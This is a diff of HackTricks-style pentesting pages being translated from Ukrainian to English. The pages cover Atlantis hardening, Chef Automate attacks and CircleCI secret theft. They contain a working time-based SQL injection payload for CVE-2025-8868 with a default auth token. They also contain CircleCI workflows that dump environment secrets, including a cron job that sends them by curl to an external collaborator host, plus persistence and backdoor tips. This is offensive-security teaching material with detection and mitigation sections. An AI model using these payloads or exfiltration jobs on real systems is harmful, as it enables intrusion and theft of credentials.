If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
|
||||
|
||||
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
|
||||
|
||||
Дуже рекомендується увімкнути аутентифікацію в веб-сервісі. Увімкніть BasicAuth, використовуючи `--web-basic-auth=true` та налаштуйте ім'я користувача та пароль, використовуючи прапори `--web-username=yourUsername` та `--web-password=yourPassword`.
|
||||
It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
|
||||
|
||||
Ви також можете передати їх як змінні середовища `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` та `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
|
||||
### References
|
||||
|
||||
@@ -370,3 +386,6 @@ Azure DevOps підтримує надсилання заголовка базо
|
||||
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Що таке Chef Automate
|
||||
## What is Chef Automate
|
||||
|
||||
Chef Automate — платформа для автоматизації інфраструктури, відповідності та доставки застосунків. Вона надає веб-інтерфейс (зазвичай Angular), який спілкується з backend gRPC services через gRPC-Gateway, забезпечуючи REST-like endpoints за шляхами на кшталт /api/v0/.
|
||||
Chef Automate is a platform for infrastructure automation, compliance, and application delivery. It exposes a web UI (often Angular) that talks to backend gRPC services via a gRPC-Gateway, providing REST-like endpoints under paths such as /api/v0/.
|
||||
|
||||
- Поширені компоненти бекенду: gRPC services, PostgreSQL (часто видно через префікси pq: error), data-collector ingest service
|
||||
- Механізми автентифікації: user/API tokens та заголовок токена data-collector x-data-collector-token
|
||||
- Common backend components: gRPC services, PostgreSQL (often visible via pq: error prefixes), data-collector ingest service
|
||||
- Auth mechanisms: user/API tokens and a data collector token header x-data-collector-token
|
||||
|
||||
## Енумерація & атаки
|
||||
## Enumeration & Attacks
|
||||
|
||||
{{#ref}}
|
||||
chef-automate-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -1,38 +1,38 @@
|
||||
# Chef Automate Перерахування та атаки
|
||||
# Chef Automate Enumeration & Attacks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Огляд
|
||||
## Overview
|
||||
|
||||
На цій сторінці зібрані практичні техніки для виявлення та атак на інстанси Chef Automate, із акцентом на:
|
||||
- Виявлення REST-ендпойнтів, підключених через gRPC-Gateway, та виведення схем запитів за допомогою повідомлень валідації/помилок
|
||||
- Зловживання заголовком аутентифікації x-data-collector-token, коли присутні значення за замовчуванням
|
||||
- Часозалежний сліпий SQL injection у Compliance API (CVE-2025-8868), що впливає на поле filters[].type у /api/v0/compliance/profiles/search
|
||||
This page collects practical techniques to enumerate and attack Chef Automate instances, with emphasis on:
|
||||
- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses
|
||||
- Abusing the x-data-collector-token authentication header when defaults are present
|
||||
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search
|
||||
|
||||
> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
|
||||
|
||||
## Розвідка: архітектура та сигнатури
|
||||
## Recon: Architecture and Fingerprints
|
||||
|
||||
- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
|
||||
- API transport: REST to gRPC via gRPC-Gateway
|
||||
- Responses may include grpc-metadata-content-type: application/grpc
|
||||
- Responses may include grpc-metadata-content-type: application/grpc
|
||||
- Database/driver fingerprints:
|
||||
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
|
||||
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
|
||||
- Interesting Compliance endpoints (auth required):
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
- POST /api/v0/compliance/scanner/jobs/search
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
- POST /api/v0/compliance/scanner/jobs/search
|
||||
|
||||
## Аутентифікація: Data Collector Token (x-data-collector-token)
|
||||
## Auth: Data Collector Token (x-data-collector-token)
|
||||
|
||||
Chef Automate надає data collector, який аутентифікує запити через спеціальний заголовок:
|
||||
Chef Automate exposes a data collector that authenticates requests via a dedicated header:
|
||||
|
||||
- Header: x-data-collector-token
|
||||
- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
|
||||
|
||||
## Виведення схеми API через виявлення на основі помилок
|
||||
## API Schema Inference via Error-Driven Discovery
|
||||
|
||||
gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.
|
||||
|
||||
@@ -42,36 +42,41 @@ For /api/v0/compliance/profiles/search, the backend expects a body with a filter
|
||||
- values: array of strings
|
||||
|
||||
Example request shape:
|
||||
|
||||
```json
|
||||
{
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
}
|
||||
```
|
||||
Некоректний JSON або неправильні типи полів зазвичай викликають помилки 4xx/5xx з підказками, а заголовки вказують на поведінку gRPC-Gateway. Використовуйте це, щоб зіставити поля та локалізувати поверхні ін'єкцій.
|
||||
|
||||
Malformed JSON or wrong field types typically trigger 4xx/5xx with hints, and headers indicate the gRPC-Gateway behavior. Use these to map fields and localize injection surfaces.
|
||||
|
||||
## Compliance API SQL Injection (CVE-2025-8868)
|
||||
|
||||
- Затронутий endpoint: POST /api/v0/compliance/profiles/search
|
||||
- Affected endpoint: POST /api/v0/compliance/profiles/search
|
||||
- Injection point: filters[].type
|
||||
- Клас вразливості: time-based blind SQL injection in PostgreSQL
|
||||
- Причина: відсутність належної параметризації/перевірки за білим списком при інтерполяції поля type в динамічний SQL-фрагмент (ймовірно використовується для побудови ідентифікаторів/WHERE-умов). Сконструйовані значення в type виконуються PostgreSQL.
|
||||
- Vulnerability class: time-based blind SQL injection in PostgreSQL
|
||||
- Root cause: Lack of proper parameterization/whitelisting when interpolating the type field into a dynamic SQL fragment (likely used to construct identifiers/WHERE clauses). Crafted values in type are evaluated by PostgreSQL.
|
||||
|
||||
Working time-based payload:
|
||||
|
||||
```json
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
|
||||
Technique notes:
|
||||
- Закрийте вихідний рядок одинарною лапкою (')
|
||||
- Додайте підзапит, який викликає pg_sleep(N)
|
||||
- Знову уведіть контекст рядка через ||, щоб фінальний SQL залишався синтаксично валідним незалежно від того, де вставлено type
|
||||
- Close the original string with a single quote
|
||||
- Concatenate a subquery that calls pg_sleep(N)
|
||||
- Re-enter string context via || so the final SQL remains syntactically valid regardless of where type is embedded
|
||||
|
||||
### Доказ через диференційну затримку
|
||||
### Proof via differential latency
|
||||
|
||||
Надішліть пару запитів і порівняйте часи відповіді, щоб підтвердити виконання на боці сервера:
|
||||
Send paired requests and compare response times to validate server-side execution:
|
||||
|
||||
- N = 1 second
|
||||
|
||||
- N = 1 секунда
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
@@ -80,7 +85,9 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
|
||||
```
|
||||
- N = 5 секунд
|
||||
|
||||
- N = 5 seconds
|
||||
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
@@ -89,15 +96,16 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
Observed behavior:
|
||||
- Час відповіді масштабується відповідно до pg_sleep(N)
|
||||
- HTTP 500 відповіді можуть містити pq: деталі під час пробування, що підтверджує шляхи виконання SQL
|
||||
|
||||
> Порада: Використовуйте таймінговий валідатор (наприклад, кілька запусків із статистичним порівнянням), щоб зменшити шум та false positives.
|
||||
Observed behavior:
|
||||
- Response times scale with pg_sleep(N)
|
||||
- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths
|
||||
|
||||
> Tip: Use a timing validator (e.g., multiple trials with statistical comparison) to reduce noise and false positives.
|
||||
|
||||
### Impact
|
||||
|
||||
Аутентифіковані користувачі — або неаутентифіковані дії, що зловживають дефолтним x-data-collector-token — можуть виконувати довільний SQL у контексті PostgreSQL Chef Automate, що ставить під загрозу конфіденційність та цілісність профілів відповідності, конфігурації та телеметрії.
|
||||
Authenticated users—or unauthenticated actors abusing a default x-data-collector-token—can execute arbitrary SQL within Chef Automate’s PostgreSQL context, risking confidentiality and integrity of compliance profiles, configuration, and telemetry.
|
||||
|
||||
### Affected versions / Fix
|
||||
|
||||
@@ -107,29 +115,29 @@ Observed behavior:
|
||||
## Detection and Forensics
|
||||
|
||||
- API layer:
|
||||
- Моніторити 500 відповіді на /api/v0/compliance/profiles/search коли filters[].type містить лапки ('), конкатенацію (||) або посилання на функції типу pg_sleep
|
||||
- Інспектувати заголовки відповіді на наявність grpc-metadata-content-type для ідентифікації потоків gRPC-Gateway
|
||||
- Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep
|
||||
- Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows
|
||||
- Database layer (PostgreSQL):
|
||||
- Аудит викликів pg_sleep та помилок malformed identifier (часто проявляються з префіксами pq:, що приходять від Go pq driver)
|
||||
- Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver)
|
||||
- Authentication:
|
||||
- Логувати та генерувати алерти про використання x-data-collector-token, особливо відомих дефолтних значень, у межах API шляхів
|
||||
- Log and alert on usage of x-data-collector-token, especially known default values, across API paths
|
||||
|
||||
## Mitigations and Hardening
|
||||
|
||||
- Immediate:
|
||||
- Змінити/вимкнути дефолтні токени data collector
|
||||
- Обмежити вхідний трафік до endpoint-ів data collector; вимагати сильні, унікальні токени
|
||||
- Rotate/disable default data collector tokens
|
||||
- Restrict ingress to data collector endpoints; enforce strong, unique tokens
|
||||
- Code-level:
|
||||
- Параметризувати запити; ніколи не робити string-concatenate SQL фрагментів
|
||||
- Строго whitelist-ити дозволені значення type на сервері (enum)
|
||||
- Уникати динамічної збірки SQL для ідентифікаторів/клауз; якщо потрібна динаміка — використовувати безпечне екранування ідентифікаторів та явні whitelist-и
|
||||
- Parameterize queries; never string-concatenate SQL fragments
|
||||
- Strictly whitelist allowed type values on the server (enum)
|
||||
- Avoid dynamic SQL assembly for identifiers/clauses; if dynamic behavior is required, use safe identifier quoting and explicit whitelists
|
||||
|
||||
## Practical Testing Checklist
|
||||
|
||||
- Перевірити, чи приймається x-data-collector-token і чи працює відоме дефолтне значення
|
||||
- Змапити схему запитів Compliance API, індукуючи помилки валідації та читаючи повідомлення про помилки/заголовки
|
||||
- Тестувати на SQLi у менш очевидних полях, схожих на ідентифікатори (наприклад, filters[].type), а не лише в масивах значень або топ-рівневих текстових полях
|
||||
- Використовувати тайм-бейзовані техніки з конкатенацією, щоб зберегти синтаксичну валідність SQL у різних контекстах
|
||||
- Check if x-data-collector-token is accepted and whether the known default works
|
||||
- Map the Compliance API request schema by inducing validation errors and reading error messages/headers
|
||||
- Test for SQLi in less obvious “identifier-like” fields (e.g., filters[].type), not just values arrays or top-level text fields
|
||||
- Use time-based techniques with concatenation to keep SQL syntactically valid across contexts
|
||||
|
||||
## References
|
||||
|
||||
@@ -139,4 +147,4 @@ Observed behavior:
|
||||
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
|
||||
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -4,232 +4,255 @@
|
||||
|
||||
### Basic Information
|
||||
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) є платформою безперервної інтеграції, де ви можете **визначити шаблони**, вказуючи, що ви хочете, щоб вона робила з деяким кодом і коли це робити. Таким чином, ви можете **автоматизувати тестування** або **деплойменти** безпосередньо **з вашої основної гілки репозиторію**, наприклад.
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
|
||||
|
||||
### Permissions
|
||||
|
||||
**CircleCI** **успадковує дозволи** з github та bitbucket, пов'язані з **акаунтом**, який входить.\
|
||||
У моєму тестуванні я перевірив, що, поки у вас є **права на запис у репозиторії в github**, ви зможете **керувати налаштуваннями проекту в CircleCI** (встановити нові ssh ключі, отримати api ключі проекту, створити нові гілки з новими конфігураціями CircleCI...).
|
||||
**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
|
||||
In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
|
||||
|
||||
Однак, вам потрібно бути **адміністратором репозиторію**, щоб **перетворити репозиторій на проект CircleCI**.
|
||||
However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
|
||||
|
||||
### Env Variables & Secrets
|
||||
|
||||
Згідно з [**документацією**](https://circleci.com/docs/2.0/env-vars/) існують різні способи **завантаження значень у змінні середовища** всередині робочого процесу.
|
||||
According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
|
||||
|
||||
#### Built-in env variables
|
||||
|
||||
Кожен контейнер, запущений CircleCI, завжди матиме [**конкретні змінні середовища, визначені в документації**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) такі як `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` або `CIRCLE_USERNAME`.
|
||||
Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
|
||||
|
||||
#### Clear text
|
||||
|
||||
Ви можете оголосити їх у відкритому тексті всередині **команди**:
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
```
|
||||
Ви можете оголосити їх у відкритому тексті всередині **run environment**:
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
Ви можете оголосити їх у відкритому тексті всередині **build-job environment**:
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
Ви можете оголосити їх у відкритому тексті всередині **середовища контейнера**:
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
#### Секрети проекту
|
||||
You can declare them in clear text inside a **command**:
|
||||
|
||||
Це **секрети**, які будуть **доступні** лише **проекту** (будь-якій **гілці**).\
|
||||
Ви можете побачити їх **оголошеними в** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: |
|
||||
SECRET="A secret"
|
||||
echo $SECRET
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **run environment**:
|
||||
|
||||
```yaml
|
||||
- run:
|
||||
name: "set and echo"
|
||||
command: echo $SECRET
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **build-job environment**:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
You can declare them in clear text inside the **environment of a container**:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
build-job:
|
||||
docker:
|
||||
- image: cimg/base:2020.01
|
||||
environment:
|
||||
SECRET: A secret
|
||||
```
|
||||
|
||||
#### Project Secrets
|
||||
|
||||
These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
|
||||
You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
|
||||
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> Функціональність "**Імпорт змінних**" дозволяє **імпортувати змінні з інших проектів** до цього.
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
|
||||
|
||||
#### Секрети контексту
|
||||
#### Context Secrets
|
||||
|
||||
Це секрети, які є **всередині організації**. За **замовчуванням будь-який репозиторій** зможе **доступатися до будь-якого секрету**, збереженого тут:
|
||||
These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> Однак, зверніть увагу, що можна **вибрати іншу групу** (замість усіх учасників), щоб **надавати доступ до секретів лише конкретним людям**.\
|
||||
> Це наразі один з найкращих способів **збільшити безпеку секретів**, щоб не дозволяти всім отримувати до них доступ, а лише деяким людям.
|
||||
> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
|
||||
> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
|
||||
|
||||
### Атаки
|
||||
### Attacks
|
||||
|
||||
#### Пошук секретів у відкритому тексті
|
||||
#### Search Clear Text Secrets
|
||||
|
||||
Якщо у вас є **доступ до VCS** (наприклад, github), перевірте файл `.circleci/config.yml` кожного **репозиторію на кожній гілці** та **шукайте** потенційні **секрети у відкритому тексті**, збережені там.
|
||||
If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
|
||||
|
||||
#### Перерахування змінних середовища секретів та контексту
|
||||
#### Secret Env Vars & Context enumeration
|
||||
|
||||
Перевіряючи код, ви можете знайти **всі назви секретів**, які **використовуються** в кожному файлі `.circleci/config.yml`. Ви також можете отримати **назви контекстів** з цих файлів або перевірити їх у веб-консолі: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
|
||||
|
||||
#### Екстракція секретів проекту
|
||||
#### Exfiltrate Project secrets
|
||||
|
||||
> [!WARNING]
|
||||
> Щоб **екстрагувати ВСІ** секрети проекту та контексту, вам **просто** потрібно мати **ПРАВО НА ЗАПИС** до **лише 1 репозиторію** в усій організації github (_і ваш обліковий запис повинен мати доступ до контекстів, але за замовчуванням кожен може отримати доступ до кожного контексту_).
|
||||
> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
|
||||
|
||||
> [!CAUTION]
|
||||
> Функціональність "**Імпорт змінних**" дозволяє **імпортувати змінні з інших проектів** до цього. Тому зловмисник може **імпортувати всі змінні проекту з усіх репозиторіїв** і потім **екстрагувати їх усі разом**.
|
||||
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
|
||||
|
||||
All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
|
||||
|
||||
Усі секрети проекту завжди встановлюються в середовищі завдань, тому просто викликавши env і обфускацію в base64, ви зможете екстрагувати секрети в **консолі веб-логів робочих процесів**:
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
Якщо ви **не маєте доступу до веб-консолі**, але у вас є **доступ до репозиторію** і ви знаєте, що використовується CircleCI, ви можете просто **створити робочий процес**, який **запускається кожну хвилину** і **експортує секрети на зовнішню адресу**:
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env
|
||||
```
|
||||
|
||||
#### Exfiltrate Context Secrets
|
||||
|
||||
Вам потрібно **вказати ім'я контексту** (це також ексфільтрує секрети проекту):
|
||||
You need to **specify the context name** (this will also exfiltrate the project secrets):
|
||||
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "env | base64"
|
||||
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
exfil-env-workflow:
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
Якщо у вас **немає доступу до веб-консолі**, але ви маєте **доступ до репозиторію** і знаєте, що використовується CircleCI, ви можете просто **змінити робочий процес**, який **запускається кожну хвилину** і **експортує секрети на зовнішню адресу**:
|
||||
|
||||
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
|
||||
|
||||
```yaml
|
||||
version: 2.1
|
||||
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- run:
|
||||
name: "Exfil env"
|
||||
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
||||
|
||||
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
||||
workflows:
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
exfil-env-workflow:
|
||||
triggers:
|
||||
- schedule:
|
||||
cron: "* * * * *"
|
||||
filters:
|
||||
branches:
|
||||
only:
|
||||
- circleci-project-setup
|
||||
jobs:
|
||||
- exfil-env:
|
||||
context: Test-Context
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Просто створення нового `.circleci/config.yml` в репозиторії **не є достатнім для запуску збірки circleci**. Вам потрібно **увімкнути його як проект у консолі circleci**.
|
||||
> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
|
||||
|
||||
#### Втеча в Хмару
|
||||
#### Escape to Cloud
|
||||
|
||||
**CircleCI** надає вам можливість запускати **ваші збірки на їхніх машинах або на ваших власних**.\
|
||||
За замовчуванням їхні машини розташовані в GCP, і спочатку ви не зможете знайти нічого релевантного. Однак, якщо жертва виконує завдання на **своїх власних машинах (можливо, у хмарному середовищі)**, ви можете знайти **кінцеву точку метаданих хмари з цікавою інформацією**.
|
||||
**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
|
||||
By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
|
||||
|
||||
Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
|
||||
|
||||
Зверніть увагу, що в попередніх прикладах все запускалося всередині контейнера docker, але ви також можете **попросити запустити віртуальну машину** (яка може мати різні хмарні дозволи):
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
exfil-env:
|
||||
#docker:
|
||||
# - image: cimg/base:stable
|
||||
machine:
|
||||
image: ubuntu-2004:current
|
||||
```
|
||||
Або навіть контейнер Docker з доступом до віддаленого сервісу Docker:
|
||||
|
||||
Or even a docker container with access to a remote docker service:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
exfil-env:
|
||||
docker:
|
||||
- image: cimg/base:stable
|
||||
steps:
|
||||
- checkout
|
||||
- setup_remote_docker:
|
||||
version: 19.03.13
|
||||
```
|
||||
|
||||
#### Persistence
|
||||
|
||||
- Можна **створити** **токени користувача в CircleCI** для доступу до API-інтерфейсів з доступом користувачів.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- Можна **створити токени проектів** для доступу до проекту з правами, наданими токену.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- Можна **додати SSH-ключі** до проектів.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- Можна **створити cron-завдання в прихованій гілці** в несподіваному проекті, яке **витікає** всі **змінні середовища контексту** щодня.
|
||||
- Або навіть створити в гілці / змінити відоме завдання, яке буде **витікати** всі контексти та **секрети проектів** щодня.
|
||||
- Якщо ви є власником github, ви можете **дозволити неперевірені orbs** і налаштувати один у завданні як **задню двері**.
|
||||
- Ви можете знайти **вразливість ін'єкції команд** в деякому завданні та **ін'єктувати команди** через **секрет**, змінюючи його значення.
|
||||
- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
|
||||
- _https://app.circleci.com/settings/user/tokens_
|
||||
- It's possible to **create projects tokens** to access the project with the permissions given to the token.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
||||
- It's possible to **add SSH keys** to the projects.
|
||||
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
||||
- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
|
||||
- Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
|
||||
- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
|
||||
- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
